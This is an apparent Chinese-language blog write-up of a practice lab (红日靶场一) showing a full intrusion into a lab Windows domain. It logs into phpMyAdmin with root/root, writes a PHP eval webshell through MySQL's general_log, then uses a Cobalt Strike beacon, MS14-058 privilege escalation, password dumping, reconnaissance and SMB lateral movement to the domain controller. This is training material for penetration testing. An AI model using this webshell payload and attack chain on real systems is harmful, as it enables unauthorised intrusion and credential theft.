红日靶场一
信息收集
地址192.168.111.20
nmap -sV 192.168.111.20
nmap -sV 192.168.111.20Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-03 19:48 CSTNmap scan report for 192.168.111.20Host is up (0.087s latency).Not shown: 989 closed tcp ports (reset)PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: GOD)1025/tcp open msrpc Microsoft Windows RPC1026/tcp open msrpc Microsoft Windows RPC1027/tcp open msrpc Microsoft Windows RPC1028/tcp open msrpc Microsoft Windows RPC1029/tcp open msrpc Microsoft Windows RPC1030/tcp open msrpc Microsoft Windows RPC3306/tcp open mysql MySQL (unauthorized)Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 86.30 seconds发现开启了几个比较常见的端口 80 445 3306 135 139
web渗透
打开网页发现是一个

目录扫描
dirsearch -u “http://192.168.111.20/” -i 200
dirsearch -u "http://192.168.111.20/" -i 200/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict/usr/local/lib/python3.13/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.16) or chardet (3.0.4) doesn't match a supported version! warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
_|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/红日靶场一/reports/http_192.168.111.20/__26-09-03_19-53-40.txt
Target: http://192.168.111.20/
[19:53:40] Starting:[19:54:24] 200 - 71KB - /phpinfo.php[19:54:25] 200 - 2KB - /phpmyadmin/README[19:54:27] 200 - 32KB - /phpmyadmin/ChangeLog[19:54:32] 200 - 4KB - /phpMyadmin/[19:54:32] 200 - 4KB - /phpmyAdmin/[19:54:32] 200 - 4KB - /phpMyAdmin/[19:54:32] 200 - 4KB - /phpmyadmin/index.php[19:54:32] 200 - 4KB - /phpMyAdmin/index.php[19:54:32] 200 - 4KB - /phpmyadmin/
Task Completed看到有phpmyadmin 然后测试了一下 发现有弱密码 主要是dirsearch没有扫到其他的有用目录 推测入口点就在这个phpmyadmin中
root/root
sql写文件
我们进去后 就考虑怎么通过sql去拿到shell 我们通过写入日志文件的方式去上传到web目录下一个一句话木马 去连接
SET global general_log = "ON";SET global general_log_file ='C:/phpStudy/WWW/shell.php ';SELECT '<?php echo "123";@eval($_POST[id]);?>';然后使用蚁剑连接

连接成功后配置cs 然后生成一个反向后门 上传并执行

监听成功

内网域渗透
内网信息收集
查看防火墙
shell netsh firewall show config
[09/03 21:00:31] beacon> shell netsh firewall show config[09/03 21:00:31] [*] Tasked beacon to run: netsh firewall show config[09/03 21:01:05] [+] host called home, sent: 57 bytes[09/03 21:01:05] [+] received output:
域 配置文件配置:-------------------------------------------------------------------操作模式 = 禁用例外模式 = 启用多播/广播响应模式 = 启用通知模式 = 启用
域 配置文件的允许的程序配置:模式 流量方向 名称/程序-------------------------------------------------------------------启用 入站 mysqld / C:\phpstudy\mysql\bin\mysqld.exe启用 入站 Apache HTTP Server / C:\phpstudy\apache\bin\httpd.exe
域 配置文件的端口配置:端口 协议 流量方向 名称-------------------------------------------------------------------
域 配置文件的 ICMP 配置:模式 类型 描述-------------------------------------------------------------------启用 2 允许出站数据包太大
标准 配置文件配置(当前):-------------------------------------------------------------------操作模式 = 禁用例外模式 = 启用多播/广播响应模式 = 启用通知模式 = 启用
标准 配置文件的服务配置文件:模式 自定义 名称-------------------------------------------------------------------启用 否 网络发现
标准 配置文件的允许的程序配置:模式 流量方向 名称/程序-------------------------------------------------------------------启用 入站 Firefox (C:\Program Files (x86)\Mozilla Firefox) / C:\Program Files (x86)\Mozilla Firefox\firefox.exe
标准 配置文件的端口配置:端口 协议 流量方向 名称-------------------------------------------------------------------
标准 配置文件的 ICMP 配置:模式 类型 描述-------------------------------------------------------------------启用 2 允许出站数据包太大
日志配置:-------------------------------------------------------------------文件位置 = C:\Windows\system32\LogFiles\Firewall\pfirewall.log文件大小上限 = 4096 KB丢弃的数据包数 = 禁用连接数 = 禁用
重要信息: 已成功执行命令。但不赞成使用 "netsh firewall";而应该使用 "netsh advfirewall firewall"。有关使用 "netsh advfirewall firewall" 命令而非 "netsh firewall" 的详细信息,请参阅http://go.microsoft.com/fwlink/?linkid=121488上的 KB 文章 947709。shell ipconfig
[09/03 21:07:01] beacon> shell ipconfig[09/03 21:07:01] [*] Tasked beacon to run: ipconfig[09/03 21:07:06] [+] host called home, sent: 39 bytes[09/03 21:07:08] [+] received output:fe80::b951:6dde:5db0:62db%26 IPv4 地址 . . . . . . . . . . . . : 192.168.111.20 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . :fe80::b461:ccad:e30f:81ba%24 自动配置 IPv4 地址 . . . . . . . : 169.254.129.186 子网掩码 . . . . . . . . . . . . : 255.255.0.0 默认网关. . . . . . . . . . . . . :fe80::b590:6a47:f3a1:1fc%11 IPv4 地址 . . . . . . . . . . . . : 192.168.52.143 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.52.2shell systeminfo
[09/03 21:08:08] beacon> shell systeminfo[09/03 21:08:08] [*] Tasked beacon to run: systeminfo[09/03 21:09:08] [+] host called home, sent: 41 bytes[09/03 21:11:18] [+] received output:
主机名: STU1OS 名称: Microsoft Windows 7 专业版OS 版本: 6.1.7601 Service Pack 1 Build 7601OS 制造商: Microsoft CorporationOS 配置: 成员工作站OS 构件类型: Multiprocessor Free注册的所有人: Windows 用户注册的组织:产品 ID: 00371-177-0000061-85693初始安装日期: 2019/8/25, 9:54:10系统启动时间: 2026/9/3, 19:30:03系统制造商: VMware, Inc.系统型号: VMware Virtual Platform系统类型: x64-based PC处理器: 安装了 1 个处理器。 [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2200 MhzBIOS 版本: Phoenix Technologies LTD 6.00, 2020/11/12Windows 目录: C:\Windows系统目录: C:\Windows\system32启动设备: \Device\HarddiskVolume1系统区域设置: zh-cn;中文(中国)输入法区域设置: zh-cn;中文(中国)时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐物理内存总量: 2,047 MB可用的物理内存: 1,320 MB虚拟内存: 最大值: 4,095 MB虚拟内存: 可用: 3,139 MB虚拟内存: 使用中: 956 MB页面文件位置: C:\pagefile.sys域: god.org登录服务器: \\OWA修补程序: 暂缺网卡: 安装了 5 个 NIC。 [01]: Intel(R) PRO/1000 MT Network Connection 连接名: 本地连接 启用 DHCP: 否 IP 地址 [01]: 192.168.52.143 [02]: fe80::b590:6a47:f3a1:1fc [02]: TAP-Windows Adapter V9 连接名: 本地连接 2 状态: 媒体连接已中断 [03]: Microsoft Loopback Adapter 连接名: Npcap Loopback Adapter 启用 DHCP: 是 DHCP 服务器: 255.255.255.255 IP 地址 [01]: 169.254.129.186 [02]: fe80::b461:ccad:e30f:81ba [04]: TAP-Windows Adapter V9 连接名: 本地连接 3 状态: 媒体连接已中断 [05]: Intel(R) PRO/1000 MT Network Connection 连接名: 本地连接 5 启用 DHCP: 否 IP 地址 [01]: 192.168.111.20 [02]: fe80::b951:6dde:5db0:62dbshell net view /domain
发现系统错误
感觉是需要提权到system 然后看一下描述发现要用ms14-058提权
然后使用这个去提权

拿到system权限
然后先抓一下密码

[09/03 21:28:48] beacon> shell net view /domain[09/03 21:28:48] [*] Tasked beacon to run: net view /domain[09/03 21:30:25] [+] host called home, sent: 47 bytes[09/03 21:30:26] [+] received output:Domain
-------------------------------------------------------------------------------GOD命令成功完成。shell net view
[09/03 21:32:11] beacon> shell net view[09/03 21:32:11] [*] Tasked beacon to run: net view[09/03 21:32:26] [+] host called home, sent: 39 bytes[09/03 21:32:26] [+] received output:服务器名称 注解
-------------------------------------------------------------------------------\\OWA\\ROOT-TVI862UBEH\\STU1命令成功完成。查看域控的ip和域内的ip
shell ping owa.god.org
shell root-tvi862ubeh.god.org
[09/03 21:33:29] beacon> shell ping owa.god.org[09/03 21:33:29] [*] Tasked beacon to run: ping owa.god.org[09/03 21:34:26] [+] host called home, sent: 47 bytes[09/03 21:34:29] [+] received output:
正在 Ping owa.god.org [192.168.52.138] 具有 32 字节的数据:来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128来自 192.168.52.138 的回复: 字节=32 时间<1ms TTL=128
192.168.52.138 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms[09/03 21:40:06] beacon> shell ping ROOT-TVI862UBEH.god.org[09/03 21:40:06] [*] Tasked beacon to run: ping ROOT-TVI862UBEH.god.org[09/03 21:40:14] [+] host called home, sent: 59 bytes[09/03 21:40:17] [+] received output:
正在 Ping ROOT-TVI862UBEH.god.org [192.168.52.141] 具有 32 字节的数据:来自 192.168.52.141 的回复: 字节=32 时间<1ms TTL=128来自 192.168.52.141 的回复: 字节=32 时间<1ms TTL=128来自 192.168.52.141 的回复: 字节=32 时间<1ms TTL=128来自 192.168.52.141 的回复: 字节=32 时间<1ms TTL=128
192.168.52.141 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms192.168.52.141 root-tvi862ubeh.god.org
192.168.52.138 owa.god.org 域控主机
端口扫描
[09/03 21:39:06] [*] Tasked beacon to scan ports 22,80,135,445,443,3389 on 192.168.52.0-192.168.52.255[09/03 21:39:11] [+] host called home, sent: 93797 bytes[09/03 21:39:33] [+] received output:(ARP) Target '192.168.52.143' is alive. 00-50-56-B1-A5-F2(ARP) Target '192.168.52.138' is alive. 00-50-56-B1-AB-24(ARP) Target '192.168.52.141' is alive. 00-50-56-B1-A7-AF
[09/03 21:39:43] [+] received output:192.168.52.143:135192.168.52.143:80192.168.52.141:135192.168.52.138:135192.168.52.138:80
[09/03 21:39:53] [+] received output:192.168.52.138:445 (platform: 500 version: 6.1 name: OWA domain: GOD)192.168.52.141:445 (platform: 500 version: 5.2 name: ROOT-TVI862UBEH domain: GOD)192.168.52.143:445 (platform: 500 version: 6.1 name: STU1 domain: GOD)Scanner module is complete发现开启了445端口 然后尝试用smb横向

然后拿到域控 读取flag

一个很简单的内网域 在解决了因为主播某些铸币导致的问题后 一切都很顺利
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时